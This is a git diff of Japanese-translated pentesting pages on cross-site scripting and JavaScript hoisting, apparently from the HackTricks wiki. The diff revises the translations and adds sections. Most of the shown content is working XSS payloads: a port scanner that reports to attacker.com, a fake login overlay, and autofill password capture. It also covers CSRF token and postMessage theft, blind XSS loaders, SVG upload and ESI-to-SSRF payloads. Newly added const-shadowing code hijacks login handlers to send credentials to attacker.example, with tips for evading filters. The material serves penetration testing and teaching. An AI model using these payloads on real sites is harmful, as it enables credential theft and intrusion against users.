 ```
-### 内部IPを見つける
+### 内部IPの検出
 ```html
 <script>
 var q = []
@@ -1345,11 +1384,11 @@ q.shift()()
 }
 </script>
 ```
-### ポートスキャナー (fetch)
+### Port Scanner (fetch)
 ```javascript
 const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
 ```
-### ポートスキャナー (websockets)
+### Port Scanner (websockets)
 ```python
 var ports = [80, 443, 445, 554, 3306, 3690, 1234];
 for(var i=0; i<ports.length; i++) {
@@ -1364,15 +1403,15 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
 };
 }
 ```
-_応答しているポートは短い時間を示します_ _応答がないポートは長い時間を示します。_
+_Short times indicate a responding port_ _Longer times indicate no response._
 
-Chromeで禁止されているポートのリストを[**こちら**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc)で、Firefoxでのリストを[**こちら**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist)で確認してください。
+Chrome で禁止されている ports の一覧は [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc)、Firefox の一覧は [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist) を確認してください。
 
-### 資格情報を要求するボックス
+### credentials を要求するボックス
 ```html
 <style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
 ```
-### 自動入力パスワードキャプチャ
+### Auto-fill パスワードの取得
 ```javascript
 <b>Username:</><br>
 <input name=username id=username>
@@ -1383,18 +1422,33 @@ mode: 'no-cors',
 body:username.value+':'+this.value
 });">
 ```
-任意のデータがパスワードフィールドに入力されると、ユーザー名とパスワードが攻撃者のサーバーに送信されます。クライアントが保存されたパスワードを選択し、何も入力しなくても、認証情報は外部に流出します。
+When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don't write anything the credentials will be ex-filtrated.
 
-### キーロガー
+### Hijack form handlers to exfiltrate credentials (const shadowing)
 
-GitHubで検索したところ、いくつかの異なるものが見つかりました：
+もし critical handler（例: `function DoLogin(){...}`）がページの後方で宣言され、あなたの payload が先に実行される場合（例: inline JS-in-JS sink 経由）、同じ名前の `const` を先に定義して handler を先取りしてロックします。後の function 宣言は `const` 名を rebind できないため、あなたの hook が制御を維持します:
+```javascript
+const DoLogin = () => {
+const pwd  = Trim(FormInput.InputPassword.value);
+const user = Trim(FormInput.InputUtente.value);
+fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
+};
+```
+注意
+- 実行順に依存します: your injection は正当な宣言より先に実行される必要があります。
+- あなたのペイロードが `eval(...)` でラップされている場合、`const/let` bindings は globals になりません。真の global かつ non-rebindable な binding を確保するには、セクション “Deliverable payloads with eval(atob()) and scope nuances” にある動的な `<script>` injection technique を使用してください。
+- キーワードフィルタがコードをブロックする場合は、Unicode-escaped identifiers や `eval(atob('...'))` 配信と組み合わせてください（上で示したように）。
+
+### Keylogger
+
+github を検索しただけで、いくつか見つかりました：
 
 - [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
 - [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
 - [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
-- また、metasploit `http_javascript_keylogger` を使用することもできます。
+- また metasploit の `http_javascript_keylogger` を使うこともできます
 
-### CSRFトークンの盗難
+### Stealing CSRF tokens
 ```javascript
 <script>
 var req = new XMLHttpRequest();
@@ -1409,7 +1463,7 @@ changeReq.send('csrf='+token+'&email=test@test.com')
 };
 </script>
 ```
-### PostMessageメッセージの盗難
+### PostMessage メッセージの窃取
 ```html
 <img src="https://attacker.com/?" id=message>
 <script>
@@ -1417,30 +1471,30 @@ window.onmessage = function(e){
 document.getElementById("message").src += "&"+e.data;
 </script>
 ```
-### サービスワーカーの悪用
+### Service Workersの悪用
 
 
 {{#ref}}
 abusing-service-workers.md
 {{#endref}}
 
-### シャドウDOMへのアクセス
+### Shadow DOMへのアクセス
 
 
 {{#ref}}
 shadow-dom.md
 {{#endref}}
 
-### ポリグロット
+### Polyglots
 
 
 {{#ref}}
 https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
 {{#endref}}
 
-### ブラインドXSSペイロード
+### Blind XSS payloads
 
-あなたはまた使用できます: [https://xsshunter.com/](https://xsshunter.com)
+次も使用できます: [https://xsshunter.com/](https://xsshunter.com)
 ```html
 "><img src='//domain/xss'>
 "><script src="//domain/xss.js"></script>
@@ -1507,7 +1561,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln
 ```
 ### Regex - 隠されたコンテンツへのアクセス
 
-From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) it's possible to learn that even if some values disappear from JS, it's still possible to find them in JS attributes in different objects. For example, an input of a REGEX is still possible to find it after the value of the input of the regex was removed:
+この[**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay)から、いくつかの値がJSから消えても、別のオブジェクトのJS属性で見つけられることが分かります。例えば、REGEXの入力は、そのregexの入力値が削除された後でも見つけることができます：
 ```javascript
 // Do regex with flag
 flag = "CTF{FLAG}"
@@ -1524,59 +1578,61 @@ console.log(
 document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
 )
 ```
-### ブルートフォースリスト
+### Brute-Force List
 
 
 {{#ref}}
 https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
 {{#endref}}
 
-## 他の脆弱性を悪用したXSS
+## XSS を使った他の脆弱性の悪用
 
-### MarkdownにおけるXSS
+### XSS in Markdown
 
-レンダリングされるMarkdownコードを注入できますか？もしかしたらXSSを取得できるかもしれません！確認してください:
+レンダリングされるMarkdownコードを注入できますか？もしかするとXSSを誘発できるかも！確認：
 
 
 {{#ref}}
 xss-in-markdown.md
 {{#endref}}
 
-### SSRFへのXSS
+### XSS to SSRF
 
-**キャッシングを使用しているサイト**でXSSを取得しましたか？このペイロードを使用して**それをSSRFにアップグレード**してみてください:
+XSSを**site that uses caching**で見つけましたか？Edge Side Include Injectionを使って、それを**upgrading that to SSRF**にアップグレードしてみてください。次のpayload:
 ```python
 <esi:include src="http://yoursite.com/capture" />
 ```
-クッキー制限、XSSフィルターなどを回避するために使用します！\
-この技術に関する詳細情報はこちら: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)。
+Use it to bypass cookie restrictions, XSS filters and much more!\
+この手法の詳細はここ: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
 
-### 動的に作成されたPDFにおけるXSS
+### 動的に作成された PDF における XSS
+
+もしウェブページがユーザー入力を使って PDF を生成している場合、PDF を作成する **bot を騙して** **任意の JS コードを実行する** ように仕向けることを試せます。\
+つまり、**PDF creator bot finds** 何らかの **HTML** **tags** を見つけると、それらを **interpret** し、この挙動を **abuse** して **Server XSS** を引き起こすことができます。
 
-ウェブページがユーザー制御の入力を使用してPDFを作成している場合、PDFを作成しているボットを**だまして任意のJSコードを実行させる**ことを試みることができます。\
-したがって、**PDF作成ボットが**何らかの**HTML** **タグ**を見つけると、それを**解釈**し、この動作を**悪用**して**サーバーXSS**を引き起こすことができます。
 
 {{#ref}}
 server-side-xss-dynamic-pdf.md
 {{#endref}}
 
-HTMLタグを注入できない場合は、**PDFデータを注入する**ことを試みる価値があります：
+HTML タグを注入できない場合は、**PDF データを注入する**ことを試してみる価値があります:
+
 
 {{#ref}}
 pdf-injection.md
 {{#endref}}
 
-### Amp4EmailにおけるXSS
+### Amp4Email における XSS
 
-AMPは、モバイルデバイスでのウェブページパフォーマンスを向上させることを目的としており、速度とセキュリティを重視してJavaScriptで補完されたHTMLタグを組み込んでいます。さまざまな機能のためのコンポーネントの範囲をサポートしており、[AMPコンポーネント](https://amp.dev/documentation/components/?format=websites)を介してアクセスできます。
+AMP はモバイルデバイスでのウェブページのパフォーマンスを加速することを目的としており、速度とセキュリティを重視しつつ機能を提供するために JavaScript を補助した HTML タグを取り入れています。様々な機能に対応するコンポーネントは [AMP components](https://amp.dev/documentation/components/?format=websites) から参照できます。
 
-[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/)フォーマットは、特定のAMPコンポーネントをメールに拡張し、受信者がメール内でコンテンツと直接対話できるようにします。
+[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) フォーマットは特定の AMP コンポーネントをメールに拡張し、受信者がメール内で直接コンテンツと対話できるようにします。
 
-例として[**GmailのAmp4EmailにおけるXSSの書き込み**](https://adico.me/post/xss-in-gmail-s-amp4email)。
+例: [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
 
-### ファイルのアップロードによるXSS（svg）
+### ファイルアップロードでの XSS (svg)
 
-次のようなファイルを画像としてアップロードします（[http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)から）：
+次のようなファイルを画像としてアップロードします (出典: [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
 ```html
 Content-Type: multipart/form-data; boundary=---------------------------232181429808
 Content-Length: 574
@@ -1632,16 +1688,16 @@ id="foo"/>
 ```xml
 <svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />
 ```
-**より多くのSVGペイロードを見つけるには** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
+以下で**より多くの SVG payloads**を見つけてください [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
 
-## その他のJSトリックと関連情報
+## その他の JS トリックと関連情報
 
 
 {{#ref}}
 other-js-tricks.md
 {{#endref}}
 
-## XSSリソース
+## XSS リソース
 
 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection)
 - [http://www.xss-payloads.com](http://www.xss-payloads.com) [https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt](https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt) [https://github.com/materaj/xss-list](https://github.com/materaj/xss-list)
@@ -1650,4 +1706,9 @@ other-js-tricks.md
 - [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
 - [https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide](https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide)
 
+## 参考資料
+
+- [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)
+- [MDN eval()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval)
+
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md b/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md
index 7dc95f622..e293a37c1 100644
--- a/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md
+++ b/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md
@@ -4,29 +4,29 @@
 
 ## 基本情報
 
-JavaScript言語では、**Hoisting**として知られるメカニズムがあり、変数、関数、クラス、またはインポートの宣言がコードが実行される前にそのスコープの先頭に概念的に持ち上げられます。このプロセスはJavaScriptエンジンによって自動的に実行され、スクリプトを複数回通過します。
+JavaScript には、変数、関数、class、または import の宣言がコード実行前にスコープの先頭に持ち上げられるという仕組み、**Hoisting** が存在します。この処理は JavaScript エンジンが自動的に行い、スクリプトを複数回のパスで処理します。
 
-最初のパスでは、エンジンがコードを解析して構文エラーをチェックし、抽象構文木に変換します。このフェーズにはホイスティングが含まれ、特定の宣言が実行コンテキストの先頭に移動されるプロセスです。解析フェーズが成功すれば、構文エラーがないことを示し、スクリプトの実行が進行します。
+最初のパスでは、エンジンがコードをパースして構文エラーをチェックし、抽象構文木に変換します。この段階には hoisting が含まれ、特定の宣言が実行コンテキストの先頭に移されます。パース段階が成功し（構文エラーがないことが確認されれば）、スクリプトの実行が続行されます。
 
-理解することが重要です：
+重要な点は以下です:
 
-1. スクリプトは実行されるために構文エラーがない必要があります。構文ルールは厳密に守られなければなりません。
-2. スクリプト内のコードの配置はホイスティングのために実行に影響を与えますが、実行されるコードはそのテキスト表現とは異なる場合があります。
+1. 実行が行われるためにはスクリプトに構文エラーがあってはならない。構文ルールは厳密に守られる必要があります。
+2. hoisting によりスクリプト内のコード配置が実行結果に影響するため、実際に実行されるコードはテキスト上の表現と異なる場合があります。
 
-#### ホイスティングの種類
+#### Types of Hoisting
 
-MDNの情報に基づくと、JavaScriptには4つの異なるホイスティングの種類があります：
+MDN の情報によると、JavaScript には大きく分けて 4 種類の hoisting があります:
 
-1. **値のホイスティング**：宣言行の前にそのスコープ内で変数の値を使用できるようにします。
-2. **宣言のホイスティング**：宣言前にそのスコープ内で変数を参照できるようにしますが、変数の値は`undefined`になります。
-3. このタイプは、実際の宣言行の前に変数の宣言があるため、そのスコープ内の動作を変更します。
-4. 宣言の副作用は、それを含む他のコードが評価される前に発生します。
+1. **Value Hoisting**: 宣言行より前にスコープ内で変数の値を使用できるようにする。
+2. **Declaration Hoisting**: スコープ内で宣言前に変数を参照しても `ReferenceError` を発生させず、ただし変数の値は `undefined` になる。
+3. このタイプは、実際の宣言行より前に変数が宣言されることによりスコープ内の挙動が変わる。
+4. 宣言の副作用が、それを含む他のコードが評価される前に発生する。
 
-詳細には、関数宣言はタイプ1のホイスティング動作を示します。`var`キーワードはタイプ2の動作を示します。`let`、`const`、および`class`を含むレキシカル宣言はタイプ3の動作を示します。最後に、`import`文は、タイプ1とタイプ4の両方の動作でホイスティングされる点でユニークです。
+詳細では、function 宣言は type 1 の hoisting 挙動を示します。`var` キーワードは type 2 の挙動を示します。`let`、`const`、および `class` を含むレキシカル宣言は type 3 の挙動を示します。最後に、`import` 文は type 1 と type 4 の両方の挙動で hoist される点が特殊です。
 
 ## シナリオ
 
-したがって、**未宣言のオブジェクト**が使用された後に**JSコードを注入できる**シナリオがある場合、宣言することで構文を**修正**できる（エラーを投げるのではなく、あなたのコードが実行されるように）：
+したがって、未宣言のオブジェクトが使用された後に **Inject JS code after an undeclared object** できるような状況がある場合、宣言を追加して **fix the syntax** すれば（エラーを投げる代わりに）あなたのコードが実行されるようにできます:
 ```javascript
 // The function vulnerableFunction is not defined
 vulnerableFunction('test', '<INJECTION>');
@@ -68,7 +68,7 @@ alert(1);
 test.cookie("leo", "INJECTION")
 test[("cookie", "injection")]
 ```
-## さらなるシナリオ
+## その他のシナリオ
 ```javascript
 // Undeclared var accessing to an undeclared method
 x.y(1,INJECTION)
@@ -127,11 +127,31 @@ alert(1) -
 },
 })
 }
+trigger()
 ```
+### constで名前をロックして後の宣言を先取りする
+
+トップレベルの `function foo(){...}` がパースされる前に実行できる場合、同じ名前でレキシカル束縛（例: `const foo = ...`）を宣言すると、後でその関数宣言がその識別子に再バインドするのを防げます。これはRXSSで悪用され、ページ後半に定義された重要なハンドラを乗っ取るために使えます:
+```javascript
+// Malicious code runs first (e.g., earlier inline <script>)
+const DoLogin = () => {
+const pwd  = Trim(FormInput.InputPassword.value)
+const user = Trim(FormInput.InputUtente.value)
+fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
+}
+
+// Later, the legitimate page tries to declare:
+function DoLogin(){ /* ... */ } // cannot override the existing const binding
+```
+注意事項
+- これは実行順序とグローバル（トップレベル）スコープに依存します。
+- ペイロードが `eval()` の内部で実行される場合、`eval` 内の `const/let` はブロックスコープでありグローバルバインディングを作成しないことに注意してください。真のグローバルな `const` を確立するには、そのコードを含む新しい `<script>` 要素を注入してください。
+
 ## 参考文献
 
 - [https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios](https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios)
 - [https://developer.mozilla.org/en-US/docs/Glossary/Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting)
 - [https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/](https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/)
+- [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)
 
 {{#include ../../banners/hacktricks-training.md}}